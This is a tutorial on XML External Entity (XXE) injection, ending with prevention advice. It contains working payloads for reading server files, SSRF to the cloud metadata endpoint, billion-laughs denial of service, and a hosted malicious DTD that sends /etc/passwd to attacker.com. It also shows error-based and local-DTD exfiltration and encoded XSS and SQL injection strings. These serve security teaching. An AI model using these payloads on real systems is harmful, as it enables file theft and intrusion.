XXE Notes: XML External Entity Injection

Eyad Islam El-Taher

April 12, 2026

1 Understanding XML

1.1 What is XML?

XML (eXtensible Markup Language) is a markup language designed for storing and transporting data. Unlike HTML which focuses on displaying data, XML focuses on describing the structure and meaning of data.

Key Concept

XML is both human-readable and machine-readable, making it popular for:

- Configuration files
- Web services (SOAP, REST)
- Document formats (Office Open XML, SVG)
- Data exchange between systems
- RSS feeds and sitemaps

1.2 XML Structure and Syntax

1.2.1 Basic XML Components

Listing 1: Basic XML Structure

```
<?xml version="1.0" encoding="UTF-8"?>
<root>
    <element attribute="value">Content here</element>
    <empty_element/>
    <nested>
        <child>Child content</child>
    </nested>
</root>
```

1.2.2 Key XML Components Explained

Component	Description
XML Declaration	Specifies XML version and encoding: `<?xml version="1.0"?>`
Elements	Building blocks: `<tag>content</tag>`
Attributes	Additional info within tags: `<tag name="value">`
Comments	Human notes: `<!- comment ->`
CDATA	Unparsed character data: `<![CDATA[ raw data ]]>`

1.3 XML Entities

Entities in XML are used to represent special characters or reusable content.

Character	Entity	Description
<	<	Less than
>	>	Greater than
&	&	Ampersand
"	"	Double quote
'	'	Apostrophe

Table 1: Predefined XML Entities

1.3.1 Predefined Entities

1.3.2 Custom Entities

Listing 2: Custom Entity Declaration

```xml
<?xml version="1.0"?>
<!DOCTYPE example [
    <!ENTITY author "Eyad Islam El-Taher">
    <!ENTITY company "Security Research">
]>
<document>
    <info>&author; works at &company;</info>
</document>
```

1.4 Document Type Definition (DTD)

DTD defines the structure, elements, and entities of an XML document.

Listing 3: DTD Example

```xml
<?xml version="1.0"?>
<!DOCTYPE note [
    <!ELEMENT note (to,from,heading,body)>
    <!ELEMENT to (#PCDATA)>
    <!ELEMENT from (#PCDATA)>
    <!ELEMENT heading (#PCDATA)>
    <!ELEMENT body (#PCDATA)>
    <!ENTITY message "Hello, World!">
]>
<note>
    <to>Reader</to>
    <from>Author</from>
    <heading>Welcome</heading>
    <body>&message;</body>
</note>
```

2 Understanding XXE

2.1 What is XXE?

XML External Entity (XXE) Injection is a security vulnerability that occurs when an XML parser processes external entities declared within a DTD, allowing attackers to:

- Read arbitrary files from the server
- Perform SSRF (Server-Side Request Forgery) attacks
- Execute denial of service (Billion Laughs attack)
- Port scan internal networks
- Achieve remote code execution in some cases

2.2 How XXE Works

The vulnerability arises when XML parsers process external entities that reference:

- Local files using `file://` protocol
- Internal network resources via `http://`
- System commands (in some parsers)

2.3 Types of XXE Attacks

2.3.1 Classic XXE (File Read)

Listing 4: Basic File Read XXE

```
<?xml version="1.0"?>
<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
```

2.3.2 XXE via Parameter Entities

Listing 5: Parameter Entity XXE

```
<?xml version="1.0"?>
<!DOCTYPE foo [
    <!ENTITY % param1 SYSTEM "http://attacker.com/evil.dtd">
    %param1;
]>
<root>&exploit;</root>
```

2.3.3 Blind XXE (Out-of-Band)

Listing 6: Blind XXE with Burp Collaborator

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://dbsepsthvaf8qanj3llbwfinfel59wxl.oastify.
    com"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
```

3 Exploitation Techniques

3.1 File Reading

Listing 7: Reading Files on Different Systems

```
<!-- Linux/Unix -->
<!ENTITY xxe SYSTEM "file:///etc/passwd">

<!-- Windows -->
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">

<!-- Using PHP wrappers -->
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=config.php">

<!-- Using expect wrapper (if enabled) -->
<!ENTITY xxe SYSTEM "expect://id">
```

3.2 SSRF and Internal Network Discovery

Listing 8: SSRF via XXE

```
<!-- Port scanning -->
<!ENTITY xxe SYSTEM "http://127.0.0.1:22">

<!-- Access internal services -->
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">

<!-- Read internal admin panels -->
<!ENTITY xxe SYSTEM "http://internal-admin.local/settings">
```

3.3 Denial of Service - Billion Laughs Attack

Listing 9: Recursive Entity Expansion DoS

```
<?xml version="1.0"?>
<!DOCTYPE lolz [
    <!ENTITY lol "lol">
    <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
```

3.4 Bypassing Protections

Filter Bypass Techniques

Common XXE bypass techniques:

- Using UTF-16/UTF-32 encoding
- Using parameter entities instead of general entities
- Using XInclude as alternative to DTD
- Using SVG upload vectors
- Using SOAP/XML-RPC endpoints

4 Advanced XXE: Parameter Entities and Blind XXE

4.1 Limitations of Regular Entities

Sometimes, XXE attacks using regular entities are blocked due to:

- Input validation by the application
- Hardening of the XML parser configuration
- Filtering of standard entity syntax
- Disabled external general entities

In these situations, you might be able to use **XML parameter entities** instead.

4.2 Understanding XML Parameter Entities

XML parameter entities are a special kind of XML entity that can **only be referenced within the DTD** (Document Type Definition), not in the XML body.

Key Difference

Unlike regular entities that use `&entity;`, parameter entities use `%entity;` and can only appear inside DTD declarations.

4.2.1 Parameter Entity Declaration

The declaration of an XML parameter entity includes the percent character (%) before the entity name:

```
<!ENTITY % myparameterentity "my parameter entity value">
```

4.2.2 Parameter Entity Reference

Parameter entities are referenced using the percent character instead of the usual ampersand:

```
%myparameterentity;
```

4.3 Blind XXE Using Parameter Entities

Parameter entities are particularly useful for **Blind XXE** attacks where you cannot see the response output. They enable out-of-band (OOB) data exfiltration.

4.3.1 Basic OOB Detection

This payload causes a DNS lookup and HTTP request to the attacker's domain:

Listing 10: OOB Detection via Parameter Entities

```
<!DOCTYPE foo [
    <!ENTITY % xxe SYSTEM "http://dbsepsthvaf8qanj3llbwfinfel59wxl.oastify.com">
    %xxe;
]>
```

How it works

1. Declares a parameter entity `xxe` referencing an external URL
2. References the entity using `%xxe;`
3. When parsed, the XML processor makes a request to the attacker's server
4. The attacker receives the request, confirming XXE vulnerability

5 Exploiting Blind XXE to Exfiltrate Data Out-of-Band

5.1 From Detection to Exploitation

Detecting a blind XXE vulnerability via out-of-band techniques is all very well, but it doesn't actually demonstrate how the vulnerability could be exploited. What an attacker really wants to achieve is to **exfiltrate sensitive data**.

The Goal

A blind XXE vulnerability becomes truly dangerous when attackers can exfiltrate sensitive data from the target server to their own infrastructure.

5.2 The Approach: Hosted Malicious DTD

Exfiltrating data via blind XXE involves:

1. Hosting a malicious DTD on a system the attacker controls
2. Invoking the external DTD from within the in-band XXE payload
3. The DTD reads local files and sends them to the attacker

5.3 Anatomy of a Malicious DTD for Data Exfiltration

5.3.1 Complete Malicious DTD Example

Here's an example of a malicious DTD designed to exfiltrate the contents of the `/etc/passwd` file:

Listing 11: malicious.dtd - Data Exfiltration Payload

```
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
```

5.4 Step-by-Step Breakdown

Step	Action
1.Define file entity	Declares parameter entity `file` containing contents of `/etc/passwd`
2.Define eval entity	Declares `eval` containing dynamic declaration of `exfiltrate` entity
3.Execute eval	Uses `eval` entity to trigger dynamic declaration of `exfiltrate`
4.Execute exfiltrate	Evaluates `exfiltrate` by requesting URL with stolen data

Table 2: Malicious DTD Execution Steps

5.4.1 Detailed Explanation of Each Step

1. **Define the file entity:**

```
<!ENTITY % file SYSTEM "file:///etc/passwd">
```

This defines an XML parameter entity called `file` that contains the contents of the `/etc/passwd` file.

2. **Define the eval entity:**

```
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://attacker.com/?x=%file
    ;'>">
```

This defines an XML parameter entity called `eval` containing a dynamic declaration of another XML parameter entity called `exfiltrate`. The `exfiltrate` entity will be evaluated by making an HTTP request to the attacker's web server containing the value of the `file` entity within the URL query string.

> **Encoding Note**
>
> The `%` is the XML entity encoding for the percent sign (%). This encoding is necessary because using a raw % character would be interpreted as the start of a parameter entity reference within the DTD, causing a parsing error.

3. **Use the eval entity:**

```
%eval;
```

This uses the `eval` entity, which causes the dynamic declaration of the `exfiltrate` entity to be performed.

4. **Use the exfiltrate entity:**

```
%exfiltrate;
```

This uses the `exfiltrate` entity, causing its value to be evaluated by requesting the specified URL with the stolen data.

5.5 Hosting the Malicious DTD

The attacker must host the malicious DTD on a system they control, typically by loading it onto their own web server.

Listing 12: Hosting the DTD on Attacker's Server

```
# Create the malicious DTD file
echo '<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfiltrate;' > malicious.dtd

# Serve it via HTTP (Python example)
python3 -m http.server 80

# Or using ngrok for temporary public URL
ngrok http 80
```

The attacker serves the malicious DTD at a URL such as:

```
http://attacker.com/malicious.dtd
```

5.6 Triggering the Attack

The attacker submits the following XXE payload to the vulnerable application:

Listing 13: Final XXE Payload to Trigger Exfiltration

```
<!DOCTYPE foo [
    <!ENTITY % xxe SYSTEM "http://attacker.com/malicious.dtd">
    %xxe;
]>
```

Attack Workflow

1. Payload declares XML parameter entity called `xxe`
2. Uses the entity within the DTD with `%xxe;`
3. XML parser fetches external DTD from attacker's server
4. Malicious DTD is interpreted inline
5. Steps in malicious DTD execute sequentially
6. `/etc/passwd` contents are transmitted to attacker's server

5.7 Visual Attack Flow

Attack Visualization

```
Victim Server                    Attacker Server
      |                                |
      |  1. XXE Payload                |
      |  ----------------------------> |
      |     (malicious.dtd request)    |
      |                                |
      |  2. Serve malicious.dtd        |
      |  <---------------------------- |
      |                                |
      |  3. Parse DTD, read /etc/passwd|
      |                                |
      |  4. HTTP request with data     |
      |  ----------------------------> |
      |     GET /?x=root:x:0:0:...     |
      |                                |
      |  5. Data exfiltrated!          |
```

5.8 Common Issues and Workarounds

5.8.1 Issue 1: Newline Characters Break Exfiltration

The Newline Problem

This technique might not work with some file contents, including the newline characters contained in the `/etc/passwd` file. This is because some XML parsers fetch the URL in the external entity definition using an API that validates the characters allowed to appear within the URL.

5.8.2 Solution 1: Use FTP Protocol Instead of HTTP

Listing 14: FTP-Based Exfiltration

```
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'ftp://attacker.com/%file;'>">
%eval;
%exfiltrate;
```

5.8.3 Solution 2: Target Files Without Newlines

Sometimes, it will not be possible to exfiltrate data containing newline characters. In this situation, target alternative files:

File	Content Type
/etc/hostname	Single line hostname
/etc/issue	System identification
/proc/version	Kernel version (single line)
/etc/passwd	Multiple lines (problematic)
/app/config.py	Configuration (may have special chars)

Table 3: Files Suitable vs Unsuitable for URL Exfiltration

5.8.4 Solution 3: Use Base64 Encoding

Encode the file content to remove problematic characters:

Listing 15: Base64 Encoded Exfiltration

```
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://attacker.com/?data=%file
    ;'>">
%eval;
%exfiltrate;
```

6 Exploiting Blind XXE to Retrieve Data via Error Messages

An alternative approach to exploiting blind XXE is to trigger an XML parsing error where the error message contains the sensitive data that you wish to retrieve. This technique is particularly effective when the application returns the resulting error message within its response.

Error-Based Exfiltration

Instead of sending data out-of-band to an attacker-controlled server, this technique forces the XML parser to include the stolen data directly in an error message that gets returned to the attacker.

6.0.1 When to Use This Technique

This approach is useful when:

- Out-of-band exfiltration is blocked by network firewalls
- The application displays verbose error messages to users
- You cannot host an external server for data exfiltration
- The XML parser has network restrictions but allows file access

6.0.2 Malicious DTD for Error-Based Exfiltration

You can trigger an XML parsing error message containing the contents of the `/etc/passwd` file using a malicious external DTD as follows:

Listing 16: malicious.dtd - Error-Based Exfiltration

```
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
```

6.0.3 Step-by-Step Breakdown

Step	Action
1. Define file	Defines XML parameter entity `file` containing contents of `/etc/passwd`
2. Define eval	Defines `eval` containing dynamic declaration of `error` entity
3. Execute eval	Uses `eval` entity to trigger dynamic declaration of `error`
4. Execute error	Uses `error` entity attempting to load nonexistent file with stolen data in path

Table 4: Error-Based XXE Execution Steps

6.0.4 Detailed Explanation of Each Step

1. **Define the file entity:**

```
<!ENTITY % file SYSTEM "file:///etc/passwd">
```

This defines an XML parameter entity called `file` that contains the contents of the `/etc/passwd` file. The entire file content is stored in this entity.

2. **Define the eval entity:**

```
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
```

This defines an XML parameter entity called `eval` containing a dynamic declaration of another XML parameter entity called `error`. The `error` entity will be evaluated by attempting to load a nonexistent file whose name contains the value of the `file` entity.

> **The Key Insight**
>
> By placing the stolen data (`%file;`) inside the path of a nonexistent file, the data becomes part of the filename that will appear in the resulting error message.

3. **Use the eval entity:**

```
%eval;
```

This uses the `eval` entity, which causes the dynamic declaration of the `error` entity to be performed. The parser processes the content of `eval` as DTD code.

4. **Use the error entity:**

```
%error;
```

This uses the `error` entity, causing its value to be evaluated by attempting to load the nonexistent file. Since the file doesn't exist, the XML parser throws a `FileNotFoundException` (or similar error) that includes the full path - which contains the stolen data.

6.0.5 The Resulting Error Message

Invoking the malicious external DTD will result in an error message like the following:

Listing 17: Error Message Containing Exfiltrated Data

```
java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
... (FileNotFoundException thrown)
```

6.0.6 Triggering the Attack

The attacker submits the following XXE payload to the vulnerable application:

Listing 18: Payload to Trigger Error-Based Exfiltration

```
<!DOCTYPE foo [
    <!ENTITY % xxe SYSTEM "http://attacker.com/malicious.dtd">
    %xxe;
]>
```

7 Exploiting Blind XXE by Repurposing a Local DTD

When out-of-band interactions are blocked and external DTDs cannot be loaded from remote servers, attackers need an alternative approach. This section covers a sophisticated technique that repurposes existing DTD files on the local filesystem to trigger error-based data exfiltration.

7.0.1 Limitations of Internal DTDs

The error-based technique described in the previous section works fine with an external DTD, but it won't normally work with an internal DTD that is fully specified within the DOCTYPE element.

The XML Specification Restriction

The technique involves using an XML parameter entity within the definition of another parameter entity. Per the XML specification, this is **permitted in external DTDs but not in internal DTDs**. Some parsers might tolerate it, but many do not.

This creates a challenge:

- Out-of-band interactions are blocked (no external connections)
- Cannot load an external DTD from a remote server
- Internal DTDs cannot use nested parameter entities
- How can we trigger error messages containing sensitive data?

7.0.2 The Loophole: Hybrid DTD Declarations

There is a loophole in the XML language specification that makes this attack possible.

The Hybrid DTD Loophole

If a document's DTD uses a hybrid of internal and external DTD declarations, then the internal DTD can **redefine entities** that are declared in the external DTD. When this happens, the restriction on using an XML parameter entity within the definition of another parameter entity is **relaxed**.

This means an attacker can employ the error-based XXE technique from within an internal DTD, provided the XML parameter entity they use is redefining an entity that is declared within an external DTD.

> **Note:** This technique was pioneered by Arseniy Sharoglazov and ranked #7 in the top 10 web hacking techniques of 2018.

7.0.3 Attack Prerequisites

For this attack to work, you need:

1. A DTD file that exists on the server filesystem
2. Knowledge of the DTD file's path
3. An entity within that DTD that can be redefined
4. The application must return error messages in responses

7.1 Example Attack Scenario

7.1.1 Step 1: Identify a Local DTD File

Suppose there is a DTD file on the server filesystem at the location:

```
/usr/local/app/schema.dtd
```

This DTD file defines an entity called `customEntity`.

7.1.2 Step 2: Craft the Hybrid DTD Payload

An attacker can trigger an XML parsing error message containing the contents of the `/etc/passwd` file by submitting a hybrid DTD like the following:

Listing 19: Hybrid DTD Payload Repurposing Local DTD

```
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % customEntity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
```

7.1.3 Step-by-Step Breakdown

Step	Action
1. Define local_dtd	Declares parameter entity containing the external DTD file from server filesystem
2. Redefine customEntity	Redefines existing entity with error-based XXE exploit payload
3. Execute local_dtd	Uses entity to load and interpret external DTD with redefined value
4. Trigger Error	Results in error message containing `/etc/passwd` contents

Table 5: Hybrid DTD Attack Steps

7.1.4 Detailed Explanation of Each Component

1. **Define the local_dtd entity:**

```
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
```

This defines an XML parameter entity called `local_dtd` that contains the contents of the external DTD file that exists on the server filesystem.

2. **Redefine the custom_entity entity:**

```
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
```

This redefines the XML parameter entity called `custom_entity`, which is already defined in the external DTD file. The entity is redefined as containing the error-based XXE exploit for triggering an error message containing the contents of `/etc/passwd`.

3. **Use the local_dtd entity:**

```
%local_dtd;
```

This uses the `local_dtd` entity, so that the external DTD is interpreted, including the redefined value of the `custom_entity` entity. This results in the desired error message.

7.2 Locating an Existing DTD File to Repurpose

Since this XXE attack involves repurposing an existing DTD on the server filesystem, a key requirement is to locate a suitable file.

Finding Local DTD Files

This is actually quite straightforward. Because the application returns any error messages thrown by the XML parser, you can easily enumerate local DTD files just by attempting to load them from within the internal DTD.

7.2.1 DTD Discovery Payload

To test whether a DTD file exists at a specific path:

Listing 20: Testing for Local DTD Existence

```
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
```

- **If the file exists:** The DTD loads without error (or with DTD-specific errors)
- **If the file is missing:** The parser throws a file not found error

7.2.2 Common DTD Locations by System

System/Software	Common DTD Paths
Linux (GNOME)	/usr/share/yelp/dtd/docbookx.dtd
Linux (General)	/usr/share/xml/schema/
Windows	C:\Program Files\Common Files\
Apache Tomcat	/usr/share/tomcat/conf/web.xml (not DTD but useful)
Java Applications	/WEB-INF/web.xml, /META-INF/*.dtd

Table 6: Common Local DTD Locations

7.3 Practical Example: GNOME Desktop Environment

Systems using the GNOME desktop environment often have a DTD file at:

```
/usr/share/yelp/dtd/docbookx.dtd
```

This DTD file contains an entity called `ISOamso`.

7.3.1 Complete Attack Payload for GNOME Systems

Listing 21: Repurposing docbookx.dtd's ISOamso Entity

```
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#
    x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
```

7.4 Step-by-Step Attack Workflow

Complete Attack Process

```
1. ENUMERATE
   Test common DTD paths to find an existing file
   Example: /usr/share/yelp/dtd/docbookx.dtd

2. IDENTIFY
   Obtain a copy of the found DTD file
   Search for entity names that can be redefined
   Example: ISOamso entity in docbookx.dtd

3. CRAFT
   Create hybrid DTD payload that:
   - Loads the local DTD file
   - Redefines an existing entity with malicious content
   - Includes error-based XXE payload

4. DELIVER
   Submit payload to vulnerable XML endpoint
   Application processes hybrid DTD

5. EXFILTRATE
   Error message containing /etc/passwd is returned
   Attacker extracts sensitive data
```

8 Finding Hidden Attack Surface for XXE Injection

8.0.1 Obvious vs Hidden Attack Surface

In many cases, XXE attack surface is obvious because the application's normal HTTP traffic includes requests containing XML data. However, the attack surface is less visible in other cases. If you look in the right places, you will find XXE attack surface even in requests that do not contain any XML.

Key Insight

XXE vulnerabilities can exist in unexpected places. Don't limit your testing to requests that explicitly contain XML format.

8.1 XInclude Attacks

8.1.1 The Scenario

Some applications receive client-submitted data, embed it server-side into an XML document, and then parse the document. For example, client data might be placed into a back-end SOAP request, which is then processed by a SOAP service.

8.1.2 The Challenge

In this situation, you cannot carry out a classic XXE attack because:

- You don't control the entire XML document
- You cannot define or modify a DOCTYPE element

8.1.3 The Solution: XInclude

XInclude is a part of the XML specification that allows an XML document to be built from sub-documents.

Why XInclude Works

You can place an XInclude attack within **any data value** in an XML document. This means the attack can be performed when you only control a single item of data embedded into a server-side XML document.

8.1.4 XInclude Attack Payload

To perform an XInclude attack, reference the XInclude namespace and provide the path to the file you wish to include: eg. Set the value of the productId parameter to:

```
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
    <xi:include parse="text" href="file:///etc/passwd"/>
</foo>
```

How It Works

- `xmlns:xi="http://www.w3.org/2001/XInclude"` - Declares the XInclude namespace
- `parse="text"` - Tells the parser to include the file as raw text
- `href="file:///etc/passwd"` - Specifies the local file to read

8.2 XXE Attacks via File Upload

8.2.1 The Vector

Some applications allow users to upload files which are then processed server-side. Many common file formats use XML or contain XML subcomponents.

Format	XML-Based?
SVG (Images)	Yes - Pure XML
DOCX (Word)	Yes - ZIP containing XML files
XLSX (Excel)	Yes - ZIP containing XML files
PPTX (PowerPoint)	Yes - ZIP containing XML files
PNG/JPEG	No - But libraries may support SVG

8.2.2 The Attack Scenario

An application might allow users to upload images and process them server-side. Even if the application expects PNG or JPEG format, the image processing library might also support SVG images. Since SVG uses XML, an attacker can submit a malicious SVG image to reach hidden XXE attack surface.

8.2.3 SVG XXE Payload Example

Listing 22: Malicious SVG File for XXE

```
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [
    <!ENTITY xxe SYSTEM "file:///etc/hostname" >
]>
<svg width="128px" height="128px"
     xmlns="http://www.w3.org/2000/svg"
     xmlns:xlink="http://www.w3.org/1999/xlink"
     version="1.1">
    <text font-size="16" x="0" y="16">&xxe;</text>
</svg>
```

How the SVG Attack Works

1. Attacker uploads malicious SVG file
2. Server processes the image using an XML-capable library
3. The XXE payload executes when the SVG is parsed
4. File contents are displayed within the SVG text element or exfiltrated

8.3 XXE Attacks via Modified Content Type

8.3.1 The Observation

Most POST requests use default content types from HTML forms, such as `application/x-www-form-urlencoded`. However, some web sites that expect this format will **tolerate other content types**, including XML.

8.3.2 Normal Request Example

Listing 23: Standard Form Submission

```
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar
```

8.3.3 Modified Request with XML

You might be able to submit the following request with the same result:

Listing 24: Same Request in XML Format

```
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?>
<foo>bar</foo>
```

8.3.4 Why This Works

The Content Type Tolerance

If the application:

1. Expects `application/x-www-form-urlencoded` but...
2. Tolerates receiving `text/xml` instead, and...
3. Parses the body content as XML...

   Then you can reach hidden XXE attack surface simply by reformatting requests to use XML format!

8.3.5 Testing Methodology

To discover this hidden attack surface:

1. Identify a normal POST request (login, search, form submission)
2. Change the `Content-Type` header to `text/xml` or `application/xml`
3. Convert the body parameters into XML format
4. Add an XXE payload to test for vulnerability

Listing 25: Complete XXE Test via Content Type Modification

```
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 200

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
```

8.4 Important Note: Beyond XXE

Critical Reminder

Keep in mind that **XML is just a data transfer format**. When testing any XML-based functionality, don't limit yourself to XXE attacks. You should also test for other common vulnerabilities.

8.4.1 Other Vulnerabilities to Test

When you find an endpoint that accepts XML input, always test for:

Vulnerability	Description
XSS (Cross-Site Scripting)	Can you inject JavaScript that executes when XML is rendered?
SQL Injection	Does the XML data get used in database queries?
Command Injection	Are XML values passed to system commands?
Path Traversal	Can you use `../` sequences in XML values?
SSRF	Can you make the server request internal resources?

8.4.2 Encoding Your Payloads

XML Encoding Required

You may need to encode your payload using **XML escape sequences** to avoid breaking the XML syntax.

Character	Escape Sequence	Why Needed
<	<	Opens an XML tag
>	>	Closes an XML tag
&	&	Starts an entity reference
"	"	Opens/closes attributes
'	'	Opens/closes attributes

Common XML Escape Sequences

8.4.3 Example: Encoding an XSS Payload for XML

Unencoded Payload (Will Break XML):

```
<userInput><script>alert(1)</script></userInput>
```

This fails because the < and > characters interfere with XML tags.

Properly Encoded Payload:

```
<userInput>&lt;script&gt;alert(1)&lt;/script&gt;</userInput>
```

8.4.4 Example: Encoding SQL Injection for XML

Unencoded Payload:

```
<search>' OR '1'='1</search>
```

Encoded Payload:

```
<search>&apos; OR &apos;1&apos;=&apos;1</search>
```

8.4.5 Practical Testing Tips

Testing Checklist

When testing XML endpoints:

1. First, ensure your payload is **XML-valid** using escape sequences
2. Test for **XXE** using DOCTYPE declarations
3. Test for **XSS** by injecting encoded JavaScript
4. Test for **SQL injection** using encoded quotes
5. Test for **command injection** using encoded special characters
6. Test for **SSRF** using external entity references

Automation Tip

Use Burp Suite's decoder or a custom script to automatically encode your payloads for XML. Many penetration testing tools have built-in XML encoding options.

9 Prevention and Mitigation of XXE Vulnerabilities

Preventing XXE vulnerabilities is fundamentally about configuring your XML parser correctly. In most cases, the fixes are simple and straightforward, requiring only a few lines of configuration.

The Golden Rule

The most effective way to prevent XXE is to **disable DTD processing entirely** whenever possible. If DTDs are absolutely required, disable external entities, external DTDs, and parameter entities.

9.1 General Prevention Principles

1. **Disable DTD processing** - This is the most complete solution
2. **Disable external entities** - If DTDs are needed, disable external references
3. **Disable parameter entities** - Prevent blind XXE attacks
4. **Disable XInclude** - Another XML feature that can be abused
5. **Use secure parser configurations** - Default configurations are often insecure
6. **Validate and sanitize XML input** - Defense in depth
7. **Use non-XML formats when possible** - JSON is generally safer

9.2 Defense in Depth Strategies

Strategy	Implementation
Least Privilege	Run XML parsers with minimal filesystem/network permissions
Input Size Limits	Limit XML document size and entity expansion depth
Timeouts	Set parsing timeouts to prevent billion laughs attacks
Logging	Log XML parsing errors for security monitoring
WAF Rules	Deploy rules to detect XXE payloads
Content Security	Validate Content-Type headers to prevent XML injection